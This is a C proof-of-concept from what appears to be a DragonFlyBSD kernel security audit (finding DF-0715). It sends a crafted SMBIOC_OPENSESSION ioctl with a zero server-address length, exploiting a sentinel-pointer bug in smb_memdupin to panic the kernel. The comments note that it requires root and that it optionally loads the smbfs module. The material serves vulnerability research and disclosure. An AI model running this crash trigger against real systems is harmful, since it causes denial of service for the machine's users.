โฌข DragonFlyBSD Kernel Audit
DF-0715 / smb_memdupin_zero.c
โ† back to finding โ†“ download raw
/*
 * DF-0715 โ€” smb_memdupin signed-length validation accepts zero
 *
 * Trigger: open /dev/nsmb0 (root-only, 0700 root:root by default โ€” admin must
 * have loaded the smbfs.ko / netsmb module, a normal admin action) and issue
 * SMBIOC_OPENSESSION with ioc_svlen == 0.
 *
 * Data flow:
 *   nsmb_dev_ioctl (SMBIOC_OPENSESSION)
 *     -> smb_usr_opensession            (smb_usr.c:164)
 *       -> smb_usr_vc2spec              (smb_usr.c:60)
 *         -> smb_memdupin(ioc_server, ioc_svlen=0)   (smb_subr.c:137)
 *             if (len > 8*1024) return NULL;   // 0 > 8192 false, passes
 *             p = kmalloc(0, M_SMBSTR, M_WAITOK);
 *             // DragonFly kmalloc(0) returns ZERO_LENGTH_PTR = (void*)-8
 *             // (kern_slaballoc.c:193,889-890), NOT NULL
 *             if (copyin(umem, p, 0) == 0)   // len 0 -> returns 0
 *                 return p;                  // returns (void*)-8
 *         spec->sap = (void*)-8;
 *         if (spec->sap == NULL) ...         // MISSES sentinel, not NULL
 *     -> smb_sm_lookup -> smb_vc_create      (smb_conn.c:417)
 *       -> dup_sockaddr(vcspec->sap)         (smb_conn.c:462, uipc_socket2.c:809)
 *           kmalloc(sa->sa_len, ...)         // reads *(struct sockaddr*)-8
 *           // address 0xFFFFFFFFFFFFFFF8 is non-canonical on x86-64
 *           // -> GPF -> fatal trap / kernel panic
 *
 * The bug fires BEFORE smb_suser() (smb_conn.c:428) โ€” the privilege check
 * inside smb_vc_create only gates uid/gid selection, not the dup_sockaddr
 * call.  The actual privilege boundary is the /dev/nsmb* device open perms
 * (0700 root:root, smb_dev.c:355-356), so this is a root->kernel panic /
 * hardening gap, NOT an unprivileged escalation.
 *
 * Build:  cc -o smb_memdupin_zero smb_memdupin_zero.c
 * Run:    ./smb_memdupin_zero            (must be root; needs smbfs.ko loaded)
 */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <netsmb/smb_dev.h>

int
main(int argc, char **argv)
{
	int fd, rc;
	struct smbioc_ossn ossn;
	char dummy;

	(void)argv;
	/* /dev/nsmb is the clone master (make_autoclone_dev, smb_dev.c:355);
	 * opening it triggers nsmbclone -> make_only_dev -> /dev/nsmbN. */
	fd = open("/dev/nsmb", O_RDWR);
	if (fd < 0)
		fd = open("/dev/nsmb0", O_RDWR);
	if (fd < 0) {
		/* If /dev/nsmb doesn't exist, the smbfs.ko module isn't loaded.
		 * An admin who wants SMB client support loads it โ€” realistic
		 * precondition.  We do NOT load it here (kldload is root-only
		 * and we only test the bug path, not module loading). */
		perror("open /dev/nsmb (load smbfs.ko first: kldload smbfs)");
		if (argc > 1 && strcmp(argv[1], "--try-kldload") == 0) {
			rc = system("kldload smbfs");
			if (rc != 0) {
				fprintf(stderr, "kldload smbfs failed\n");
				return 2;
			}
			fd = open("/dev/nsmb", O_RDWR);
			if (fd < 0)
				fd = open("/dev/nsmb0", O_RDWR);
			if (fd < 0) {
				perror("open /dev/nsmb after kldload");
				return 2;
			}
		} else {
			return 2;
		}
	}

	memset(&ossn, 0, sizeof(ossn));
	/* SMBVOPT_CREATE so smb_vc_create() is reached (and dup_sockaddr fires) */
	ossn.ioc_opt = SMBVOPT_CREATE;
	/* ioc_svlen == 0 is the bug: smb_memdupin returns ZERO_LENGTH_PTR */
	ossn.ioc_svlen = 0;
	/* ioc_server must be non-NULL (smb_usr_vc2spec checks). Content is
	 * irrelevant because copyin(.,.,0) copies nothing, but the pointer
	 * must be a valid user address so copyin doesn't EFAULT on the
	 * pointer-validation path. */
	dummy = 0;
	ossn.ioc_server = (struct sockaddr *)&dummy;
	/* ioc_local == NULL skips the second smb_memdupin (keeps PoC minimal) */
	ossn.ioc_local = NULL;
	/* ioc_user[0] != 0 (smb_usr_vc2spec requires non-empty username) */
	strlcpy(ossn.ioc_user, "u", sizeof(ossn.ioc_user));
	/* ioc_localcs[0] != 0 (smb_usr_vc2spec requires non-empty local charset) */
	strlcpy(ossn.ioc_localcs, "UTF-8", sizeof(ossn.ioc_localcs));
	strlcpy(ossn.ioc_servercs, "UTF-8", sizeof(ossn.ioc_servercs));
	/* ioc_owner = 0 (root) so smb_vc_create's uid check passes for root */
	ossn.ioc_owner = 0;

	printf("DF-0715: issuing SMBIOC_OPENSESSION with ioc_svlen=0\n");
	printf("  expected: kernel panic (fatal trap: read of sa->sa_len at "
	       "(void*)-8 == 0xFFFFFFFFFFFFFFF8, non-canonical x86-64 GPF)\n");
	fflush(stdout);

	rc = ioctl(fd, SMBIOC_OPENSESSION, &ossn);
	/* If we get here, no panic. Print errno for diagnosis. */
	printf("DF-0715: ioctl returned %d (errno=%d)\n", rc, rc < 0 ? errno : 0);
	if (rc < 0)
		perror("SMBIOC_OPENSESSION");
	close(fd);
	return 0;
}